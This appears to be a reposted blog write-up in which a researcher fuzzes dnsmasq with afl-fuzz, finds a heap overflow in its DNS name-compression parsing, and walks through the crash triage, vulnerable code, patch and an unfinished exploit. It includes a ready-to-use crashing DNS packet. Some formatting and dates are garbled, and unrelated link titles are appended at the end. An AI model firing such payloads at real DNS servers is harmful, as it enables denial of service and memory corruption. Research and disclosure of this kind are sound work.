###### How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

If you know me, you know that I love DNS. I'm not exactly sure how that happened, but I suspect that Ed Skoudis is at least partly to blame.

Anyway, a project came up to evaluate dnsmasq, and being a DNS server - and a key piece of Internet infrastructure - I thought it would be fun! And it was! By fuzzing in a somewhat creative way, I found a really cool vulnerability that's almost certainly exploitable (though I haven't proven that for reasons that'll become apparent later).

Although I started writing an exploit, I didn't finish it. I think it's almost certainly exploitable, so if you have some free time and you want to learn about exploit development, it's worthwhile having a look! Here's a link to the actual distribution of a vulnerable version, and I'll discuss the work I've done so far at the end of this post.

You can also download my branch, which is similar to the vulnerable version (branched from it), the only difference is that it contains a bunch of fuzzing instrumentation and debug output around parsing names.

## dnsmasq

For those of you who don't know, dnsmasq is a service that you can run that handles a number of different protocols designed to configure your network: DNS, DHCP, DHCP6, TFTP, and more. We'll focus on DNS - I fuzzed the other interfaces and didn't find anything, though when it comes to fuzzing, absence of evidence isn't the same as evidence of absence.

It's primarily developed by a single author, Simon Kelley. It's had a reasonably clean history in terms of vulnerabilities, which may be a good thing (it's coded well) or a bad thing (nobody's looking) :)

At any rate, the author's response was impressive. I made a little timeline:

• May 12, 2015: Discovered
• May 14, 2015: Reported to project
• May 14, 20252015: Project responded with a patch candidate
• May 15, 2015: Patch committed

The fix was actually pushed out faster than I reported it! (I didn't report for a couple days because I was trying to determine how exploitable / scary it actually is - it turns out that yes, it's exploitable, but no, it's not scary - we'll get to why at the end).

## DNS - the important bits

The vulnerability is in the DNS name-parsing code, so it makes sense to spend a little time making sure you're familiar with DNS. If you're already familiar with how DNS packets and names are encoded, you can skip this section.

Note that I'm only going to cover the parts of DNS that matter to this particular vulnerability, which means I'm going to leave out a bunch of stuff. Check out the RFCs (rfc1035, among others) or Wikipedia for complete details. As a general rule, I encourage everybody to learn enough to manually make requests to DNS servers, because that's an important skill to have - plus, it's only like 16 bytes to remember. :)

DNS, at its core, is actually rather simple. A client wants to look up a hostname, so it sends a DNS packet containing a question to a DNS server (on UDP port 53, normally, but TCP can be used as well). Some magic happens, involving caches and recursion, then the server replies with a DNS message containing the original question, and zero or more answers.

### DNS packet structure

The structure of a DNS packet is:

• (int16) transaction id (trn_id)
• (int16) flags (which include QR [query/response], opcode, RD [recursion desired], RA [recursion available], and probably other stuff that I'm forgetting)
• (int16) question count (qdcount)
• (int16) authority count (nscount)
• (variable) questions
• (variable) authorities

The last four fields - questions, answers, authorities, and additionals - are collectively called "resource records". Resource records of different types have different properties, but we aren't going to worry about that. The general structure of a question record is:

• (variable) name (the important part!)
• (int16) type (A/AAAA/CNAME/etc.)
• (int16) class (basically always 0x0001, for Internet addresses)

### DNS names

Questions and answers typically contain a domain name. A domain name, as we typically see it, looks like:

this.is.a.name.skullseclabs.org

But in a resource records, there aren't actually any periods, instead, each field is preceded by its length, with a null terminator (or a zero-length field) at the end:

\x04this\x02is\x01a\x04name\x0cskullseclabs\x03org\x00

The maximum length of a field is 63 - 0x3f - bytes. If a field starts with 0x40, 0x80, 0xc0, and possibly others, it has a special meaning (we'll get to that shortly).

When you send a question to a DNS server, the packet looks something like:

• question count = 1
• question 1: ANY record for skullsecurity.org?

and the response looks like:

• question count = 1
• question 1: ANY record for "skullsecurity.org"?
• answer 1: "skullsecurity.org" has a TXT record of "oh hai NSA"
• answer 3: "skullsecurity.org" has a A record for "206.220.196.59"
• ...

(yes, those are some of my real records :) )

If you do the math, you'll see that "skullsecurity.org" takes up 18 bytes, and would be included in the response packet 12 times, counting the question, which means we're effectively wasting 18 * 11 or close to 200 bytes. In the old days, 200 bytes were a lot. Heck, in the new days, 200 bytes are still a lot when you're dealing with millions of requests.

### Record pointers

Remember how I said that name fields starting with numbers above 63 - 0x3f - are special? Well, the one we're going to pay attention to is 0xc0.

0xc0 effectively means, "the next byte is a pointer, starting from the first byte of the packet, to where you can find the rest of the name".

So typically, you'll see:

• 12-bytes header (trn_id + flags + counts)
• question 1: ANY record for "skullsecurity.org"
• answer 1: \xc0\x0c has a TXT record of "oh hai NSA"

"\xc0" indicates a pointer is coming, and "\x0c" says "look 0x0c (12) bytes from the start of the packet", which is immediately after the header. You can also use it as part of a domain name, so your answer could be "\x03www\xc0\x0c", which would become "www.skullsecurity.org" (assuming that string was 12 bytes from the start).

This is only mildly relevant, but a common problem that DNS parsers (both clients and servers) have to deal with is the infinite loop attack. Basically, the following packet structure:

• question 1: ANY record for "\xc0\x0c"

Because question 1 is self-referential, it reads itself over and over and the name never finishes parsing. dnsmasq solves this by limiting reference to 256 hops - that decision prevents a denial-of-service attack, but it's also what makes this vulnerability likely exploitable. :)

## Setting up the fuzz

All right, by now we're DNS experts, right? Good, because we're going to be building a DNS packet by hand right away!

Before we get to the actual vulnerability, I want to talk about how I set up the fuzzing. Being a networked application, it makes sense to use a network fuzzer; however, I really wanted to try out afl-fuzz from lcamtuf, which is a file-format fuzzer.

afl-fuzz works as an intelligent file-format fuzzer that will instrument the executable (either by specially compiling it or using binary analysis) to determine whether or not it's hitting "new" code on each execution. It optimizes each cycle to take advantage of all the new code paths it's found. It's really quite cool!

Unfortunately, DNS doesn't use files, it uses packets. But because the client and server each process only one single packet at a time, I decided to modify dnsmasq to read a packet from a file, parse it (either as a request or a response), then exit. That made it possible to fuzz with afl-fuzz.

Unfortunately, that was actually pretty non-trivial. The parsing code and networking code were all mixed together. I ended up re-implementing "recv_msg()" and "recv_from()", among other things, and replacing their calls to those functions. That could also be done with a LD_PRELOAD hook, but because I had source that wasn't necessary. If you want to see the changes I made to make it possible to fuzz, you can search the codebase for "#ifdef FUZZ" - I made the fuzzing stuff entirely optional.

If you want to follow along, you should be able to reproduce the crash with the following commands (I'm on 64-bit Linux, but I don't see why it wouldn't work elsewhere):

$git clone https://github.com/iagox86/dnsmasq-fuzzing Cloning into 'dnsmasq-fuzzing'... [...]$ cd dnsmasq-fuzzing/
$CFLAGS=-DFUZZ make -j10 [...]$ ./src/dnsmasq -d --randomize-port --client-fuzz fuzzing/crashes/client-heap-overflow-1.bin
dnsmasq: started, version  cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify
[...]
Segmentation fault


Warning: DNS is recursive, and in my fuzzing modifications I didn't disable the recursive requests. That means that dnsmasq will forward some of your traffic to upstream DNS servers, and that traffic could impact those severs (and I actually proved that, by accident; but we won't get into that :) ).

## Doing the actual fuzzing

Once you've set up the program to be fuzzable, fuzzing it is actually really easy.

First, you need a DNS request and response - that way, we can fuzz both sides (though ultimately, we don't need to for this particular vulnerability, since both the request and response parse names).

If you've wasted your life like I have, you can just write the request by hand and send it to a server, then capture the response:

$mkdir -p fuzzing/client/input/$ mkdir -p fuzzing/client/output/
$echo -ne "\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06google\x03com\x00\x00\x01\x00\x01" > fuzzing/client/input/request.bin$ mkdir -p fuzzing/server/input/
$mkdir -p fuzzing/server/output/$ cat request.bin | nc -vv -u 8.8.8.8 53 > fuzzing/server/input/response.bin


To break down the packet, in case you're curious

• "\x12\x34" - trn_id - just a random number
• "\x01\x00" - flags - I think that flag is RD - recursion desired
• "\x00\x01" - qdcount = 1
• "\x00\x00" - ancount = 0
• "\x00\x00" - nscount = 0
• "\x00\x00" - arcount = 0
• "\x00\x01" - type = A record
• "\x00\x01" - class = IN (Internet)

You can verify it's working by hexdump'ing the response:

$hexdump -C response.bin 00000000 12 34 81 80 00 01 00 0b 00 00 00 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 |gle.com.........| 00000020 00 01 00 00 01 2b 00 04 ad c2 21 67 c0 0c 00 01 |.....+....!g....| 00000030 00 01 00 00 01 2b 00 04 ad c2 21 66 c0 0c 00 01 |.....+....!f....| 00000040 00 01 00 00 01 2b 00 04 ad c2 21 69 c0 0c 00 01 |.....+....!i....| 00000050 00 01 00 00 01 2b 00 04 ad c2 21 68 c0 0c 00 01 |.....+....!h....| 00000060 00 01 00 00 01 2b 00 04 ad c2 21 63 c0 0c 00 01 |.....+....!c....| 00000070 00 01 00 00 01 2b 00 04 ad c2 21 61 c0 0c 00 01 |.....+....!a....| 00000080 00 01 00 00 01 2b 00 04 ad c2 21 6e c0 0c 00 01 |.....+....!n....| 00000090 00 01 00 00 01 2b 00 04 ad c2 21 64 c0 0c 00 01 |.....+....!d....| 000000a0 00 01 00 00 01 2b 00 04 ad c2 21 60 c0 0c 00 01 |.....+....!....| 000000b0 00 01 00 00 01 2b 00 04 ad c2 21 65 c0 0c 00 01 |.....+....!e....| 000000c0 00 01 00 00 01 2b 00 04 ad c2 21 62 |.....+....!b|  Notice how it starts with "\x12\x34" (the same transaction id I sent), has a question count of 1, has an answer count of 0x0b (11), and contains "\x06google\x03com\x00" 12 bytes in (that's the question). That's basically what we discussed earlier. But the important part is, it has "\xc0\x0c" throughout. In fact, every answer starts with "\xc0\x0c", because every answer is to the first and only question. That's exactly what I was talking about earlier - each of those 11 instances of "\xc0\x0c" saved about 10 bytes, so the packet is 110 bytes shorter than it would otherwise have been. Now that we have a base case for both the client and the server, we can compile the binary with afl-fuzz's instrumentation. Obviously, this command assumes that afl-fuzz is stored in "~/tools/afl-1.77b" - change as necessary. If you're trying to compile the original code, it doesn't accept CC= or CFLAGS= on the commandline unless you apply this patch first. Here's the compile command: $ CC=~/tools/afl-1.77b/afl-gcc CFLAGS=-DFUZZ make -j20


and run the fuzzer:

$~/tools/afl-1.77b/afl-fuzz -i fuzzing/client/input/ -o fuzzing/client/output/ ./dnsmasq --client-fuzz=@@  you can simultaneously fuzz the server, too, in a different window: $ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/server/input/ -o fuzzing/server/output/ ./dnsmasq --server-fuzz=@@


then let them run a few hours, or possibly overnight.

For fun, I ran a third instance:

$mkdir -p fuzzing/hello/input$ echo "hello" > fuzzing/hello/input/hello.bin
$mkdir -p fuzzing/hello/output$ ~/tools/afl-1.77b/afl-fuzz -i fuzzing/fun/input/ -o fuzzing/fun/output/ ./dnsmasq --server-fuzz=@@


...which, in spite of being seeded with "hello" instead of an actual DNS packet, actually found an order of magnitude more crashes than the proper packets, except with much, much uglier proofs of concept.. :)

## Fuzz results

I let this run overnight, specifically to re-create the crashes for this blog. In the morning (after roughly 20 hours of fuzzing), the results were:

• 7 crashes starting with a well formed request
• 10 crashes starting from a well formed response
• 93 crashes starting from "hello"

You can download the base cases and results here, if you want.

### Triage

Although we have over a hundred crashes, I know from experience that they're all caused by the same core problem. But not knowing that, I need to pick something to triage! The difference between starting from a well formed request and starting from a "hello" string is noticeable... to take the smallest PoC from "hello", we have:

crashes $hexdump -C id\:000024\,sig\:11\,src\:000234+000399\,op\:splice\,rep\:16 00000000 68 00 00 00 00 01 00 02 e8 1f ec 13 07 06 e9 01 |h...............| 00000010 67 02 e8 1f c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |g...............| 00000020 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000030 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 b8 c0 c0 c0 c0 c0 |................| 00000040 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000050 c0 c0 c0 c0 c0 c0 c0 c0 c0 af c0 c0 c0 c0 c0 c0 |................| 00000060 c0 c0 c0 c0 cc 1c 03 10 c0 01 00 00 02 67 02 e8 |.............g..| 00000070 1f eb ed 07 06 e9 01 67 02 e8 1f 2e 2e 10 2e 2e |.......g........| 00000080 00 07 2e 2e 2e 2e 00 07 01 02 07 02 02 02 07 06 |................| 00000090 00 00 00 00 7e bd 02 e8 1f ec 07 07 01 02 07 02 |....~...........| 000000a0 02 02 07 06 00 00 00 00 02 64 02 e8 1f ec 07 07 |.........d......| 000000b0 06 ff 07 9c 06 49 2e 2e 2e 2e 00 07 01 02 07 02 |.....I..........| 000000c0 02 02 05 05 e7 02 02 02 e8 03 02 02 02 02 80 c0 |................| 000000d0 c0 c0 c0 c0 c0 c0 c0 c0 c0 80 1c 03 10 80 e6 c0 |................| 000000e0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 000000f0 c0 c0 c0 c0 c0 c0 b8 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000100 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000110 c0 c0 c0 c0 c0 af c0 c0 c0 c0 c0 c0 c0 c0 c0 c0 |................| 00000120 cc 1c 03 10 c0 01 00 00 02 67 02 e8 1f eb ed 07 |.........g......| 00000130 00 95 02 02 02 05 e7 02 02 10 02 02 02 02 02 00 |................| 00000140 00 80 03 02 02 02 f0 7f c7 00 80 1c 03 10 80 e6 |................| 00000150 00 95 02 02 02 05 e7 67 02 02 02 02 02 02 02 00 |.......g........| 00000160 00 80 |..|  Or, if we run afl-tmin on it to minimize: 00000000 30 30 00 30 00 01 30 30 30 30 30 30 30 30 30 30 |00.0..0000000000| 00000010 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000020 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000030 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 c0 30 |0000000000000..0| 00000040 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000050 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000060 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000070 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000080 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 00000090 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 000000a0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 000000b0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| 000000c0 05 30 30 30 30 30 c0 c0  (note the 0xc0 at the end - our old friend - but instead of figuring out "\xc0\x0c", the simplest case, it found a much more complex case) Whereas here are all four crashing messages from the valid request starting point: crashes$ hexdump -C id\:000000\,sig\:11\,src\:000034\,op\:flip2\,pos\:24
00000000  12 34 01 00 00 01 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|
0000001c

crashes $hexdump -C id\:000001\,sig\:11\,src\:000034\,op\:havoc\,rep\:4 00000000 12 34 08 00 00 01 00 00 e1 00 00 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d c0 0c 01 00 01 |gle.com.....| 0000001c  crashes$ hexdump -C id\:000002\,sig\:11\,src\:000034\,op\:havoc\,rep\:2
00000000  12 34 01 00 eb 00 00 00  00 00 00 00 06 67 6f 6f  |.4...........goo|
00000010  67 6c 65 03 63 6f 6d c0  0c 01 00 01              |gle.com.....|

crashes $hexdump -C id\:000003\,sig\:11\,src\:000034\,op\:havoc\,rep\:4 00000000 12 34 01 00 00 01 01 00 00 00 10 00 06 67 6f 6f |.4...........goo| 00000010 67 6c 65 03 63 6f 6d c0 0c 00 00 00 00 00 06 67 |gle.com........g| 00000020 6f 6f 67 6c 65 03 63 6f 6d c0 00 01 00 01 |oogle.com.....| 0000002e  The first three crashes are interesting, because they're very similar. The only differences are the flags field (0x0100 or 0x0800) and the count fields (the first is unmodified, the second has 0xe100 "authority" records listed, and the third has 0xeb00 "question" records). Presumably, that stuff doesn't matter, since random-looking values work. Also note that near the end of every message, we see our old friend again: "\xc0\x0c". We can run afl-tmin on the first one to get the tightest message we can: 00000000 30 30 30 30 30 30 30 30 30 30 30 30 06 30 6f 30 |000000000000.0o0| 00000010 30 30 30 03 30 30 30 c0 0c |000.000..|  As predicted, the question and answer counts don't matter. All that matters is the name's length fields and the "\xc0\x0c". Oddly it included the "o" from google.com, which is probably a bug (my fuzzing instrumentation isn't perfect because due to requests going to the Internet, the result isn't always deterministic). ## The vulnerability Now that we have a decent PoC, let's check it out in a debugger: $ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./min.bin
Unable to determine compiler version.
(gdb) run
[...]
Program received signal SIGSEGV, Segmentation fault.
__strcpy_sse2 () at ../sysdeps/x86_64/multiarch/../strcpy.S:135
135     ../sysdeps/x86_64/multiarch/../strcpy.S: No such file or directory.


It crashed in strcpy. Fun! Let's see the line it crashed on:

(gdb) x/i $rip => 0x7ffff73cc600 <__strcpy_sse2+192>: mov BYTE PTR [rdx],al (gdb) print/x$rdx
$1 = 0x0  Oh, a null-pointer write. Seems pretty lame. Honestly, when I got here, I lost steam. Null-pointer dereferences need to be fixed, especially because they can hide other bugs, but they aren't going to earn me l33t status. So I would have to fix it or deal with hundreds of crappy results. If we look at the packet in more detail, the name it's parsing is essentially: "\x06AAAAAA\x03AAA\xc0\x0c" (changed '0' to 'A' to make it easier on the eyes). The "\xc0\x0c" construct reference 12 bytes into the message, which is the start of the name. When it's parsed, after one round, it'll be "\x06AAAAAA\x03AAA\x06AAAAAA\x03AAA\xc0\x0c". But then it reaches the "\xc0\x0c" again, and goes back to the beginning. Basically, it infinite loops in the name parser. So, it's obvious that a self-referential name causes the problem. But why? I tracked down the code that handles 0xc0. It's in rfc1035.c, and looks like:  if (label_type == 0xc0) /* pointer */ { if (!CHECK_LEN(header, p, plen, 1)) return 0; /* get offset */ l = (l&0x3f) << 8; l |= *p++; if (!p1) /* first jump, save location to go back to */ p1 = p; hops++; /* break malicious infinite loops */ if (hops > 255) { printf("Too many hops!\n"); printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name); return 0; } p = l + (unsigned char *)header; }  If look at that code, everything looks pretty okay (and for what it's worth, the printf()s are my instrumentation and aren't in the original). If that's not the problem, the only other field type being parsed is the name part (ie, the part without 0x40/0xc0/etc. in front). Here's the code (with a bunch of stuff removed and the indents re-flowed):  namelen += l; if (namelen+1 >= MAXDNAME) { printf("namelen is too long!\n"); /* <-- This is what triggers. */ printf("Returning: [%d] %s\n", ((uint64_t)cp) - ((uint64_t)name), name); return 0; } if (!CHECK_LEN(header, p, plen, l)) { printf("CHECK_LEN failed!\n"); return 0; } for(j=0; j<l; j++, p++) { unsigned char c = *p; if (c != 0 && c != '.') *cp++ = c; else return 0; } *cp++ = '.';  This code runs for each segment that starts with a value less than 64 ("google" and "com", for example). At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow. Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing. Then it copies a period into the buffer and doesn't increment namelen. Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops? It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c": $ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
$./dnsmasq -d --randomize-port --client-fuzz=./crash.bin [...] Segmentation fault  However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ). I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer. ## Exploitability I mentioned earlier that it's a null-pointer deref: (gdb) x/i$rip
=> 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
(gdb) print/x $rdx$1 = 0x0


Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

$echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
[...]
(gdb) run
[...]
(gdb) x/i $rip => 0x449998 <answer_request+1064>: mov DWORD PTR [rdx+0x20],0x0 (gdb) print/x$rdx
\$1 = 0x4141412e41414141


Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

extern struct daemon {
/* datastuctures representing the command-line and.
config file arguments. All set (including defaults)
in option.c */

unsigned int options, options2;
struct resolvc default_resolv, *resolv_files;
time_t last_resolv;
char *servers_file;
struct mx_srv_record *mxnames;
struct naptr *naptr;
struct txt_record *txt, *rr;
struct ptr_record *ptr;
struct host_record *host_records, *host_records_tail;
struct cname *cnames;
struct auth_zone *auth_zones;
struct interface_name *int_names;
char *mxtarget;
char *lease_file;.
char *luascript;
char *authserver, *hostmaster;
struct iname *authinterface;
struct name_list *secondary_forward_server;
int group_set, osport;
char *domain_suffix;
struct cond_domain *cond_domain, *synth_domains;
char *runfile;.
char *lease_change_command;
struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
struct server *servers;
struct ipsets *ipsets;
int log_fac; /* log facility */
char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
int cachesize, ftabsize;
int port, query_port, min_port;
unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
struct dhcp_context *dhcp, *dhcp6;
struct ra_interface *ra_interfaces;
struct dhcp_config *dhcp_conf;
struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
struct dhcp_vendor *dhcp_vendors;
struct dhcp_mac *dhcp_macs;
struct dhcp_boot *boot_config;
struct pxe_service *pxe_services;
struct tag_if *tag_if;.
struct dhcp_relay *relay4, *relay6;
int override;
int enable_pxe;
int doing_ra, doing_dhcp6;
struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
int dhcp_max, tftp_max;
int dhcp_server_port, dhcp_client_port;
int start_tftp_port, end_tftp_port;.
unsigned int min_leasetime;
struct doctor *doctors;
unsigned short edns_pktsz;
char *tftp_prefix;.
struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
unsigned int duid_enterprise, duid_config_len;
unsigned char *duid_config;
char *dbus_name;
unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
#ifdef OPTION6_PREFIX_CLASS.
struct prefix_class *prefix_classes;
#endif
#ifdef HAVE_DNSSEC
struct ds_config *ds;
char *timestamp_file;
#endif

/* globally used stuff for DNS */
char *packet; /* packet buffer */
int packet_buff_sz; /* size of above */
char *namebuff; /* MAXDNAME size buffer */
#ifdef HAVE_DNSSEC
char *keyname; /* MAXDNAME size buffer */
char *workspacename; /* ditto */
#endif
struct frec *frec_list;
struct serverfd *sfds;
struct irec *interfaces;
struct listener *listeners;
struct server *last_server;
time_t forwardtime;
int forwardcount;
struct server *srv_save; /* Used for resend on DoD */
size_t packet_len;       /*      "        "        */
struct randfd *rfd_save; /*      "        "        */
pid_t tcp_pids[MAX_PROCS];
struct randfd randomsocks[RANDOM_SOCKS];
int v6pktinfo;.
int log_id, log_display_id; /* ids of transactions for logging */

/* DHCP state */
int dhcpfd, helperfd, pxefd;.
#ifdef HAVE_INOTIFY
int inotifyfd;
#endif
#if defined(HAVE_LINUX_NETWORK)
#elif defined(HAVE_BSD_NETWORK)
int dhcp_raw_fd, dhcp_icmp_fd, routefd;
#endif
struct iovec dhcp_packet;
char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
struct ping_result *ping_results;
FILE *lease_stream;
struct dhcp_bridge *bridges;
#ifdef HAVE_DHCP6
int duid_len;
unsigned char *duid;
struct iovec outpacket;
int dhcp6fd, icmp6fd;
#endif
/* DBus stuff */
/* void * here to avoid depending on dbus headers outside dbus.c */
void *dbus;
#ifdef HAVE_DBUS
struct watch *watches;
#endif

/* TFTP stuff */
struct tftp_transfer *tftp_trans, *tftp_done_trans;

/* utility string buffer, hold max sized IP address as string */
char *addrbuff2; /* only allocated when OPT_EXTRALOG */
} *daemon;
`

I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

## Patch

The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

## Exploit so-far

I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

## ...why it never got famous

I held this back throughout the blog because it's the sad part. :)

It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

## Conclusion

So to summarize everything...

• I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
• I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
• I triaged the vulnerability, and started writing an exploit.
• Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

(I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

#### Nginx服务器安装详情及配置：反向代理+动静分离+负载均衡+keepalived实现高可用

2017-04-30 17:47:47

#### 如何使用AFL进行一次完整的fuzz过程

2016-12-06 15:38:35

#### BZOJ 1695 [Usaco2007 Demo]Walk the Talk 链表+数学

2015-08-19 09:15:16

#### TFS2010问题：unable to determine the workspace for this solution

2010-05-01 12:29:00

#### android7源码结构分析

2017-07-28 10:07:41

#### android源码树各目录详细解析（5.0）

2015-03-07 20:32:56

#### 整合Open vSwitch与DNSmasq为虚拟机提供DHCP功能

2016-07-06 19:30:21

#### 漏洞挖掘方法之静态扫描+经典栈溢出实例

2016-05-28 13:20:40

#### afl-fuzz技术白皮书

2016-03-10 15:37:53

#### 在云平台下进行Openstack安装

2016-03-29 18:31:00

## 不良信息举报

How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq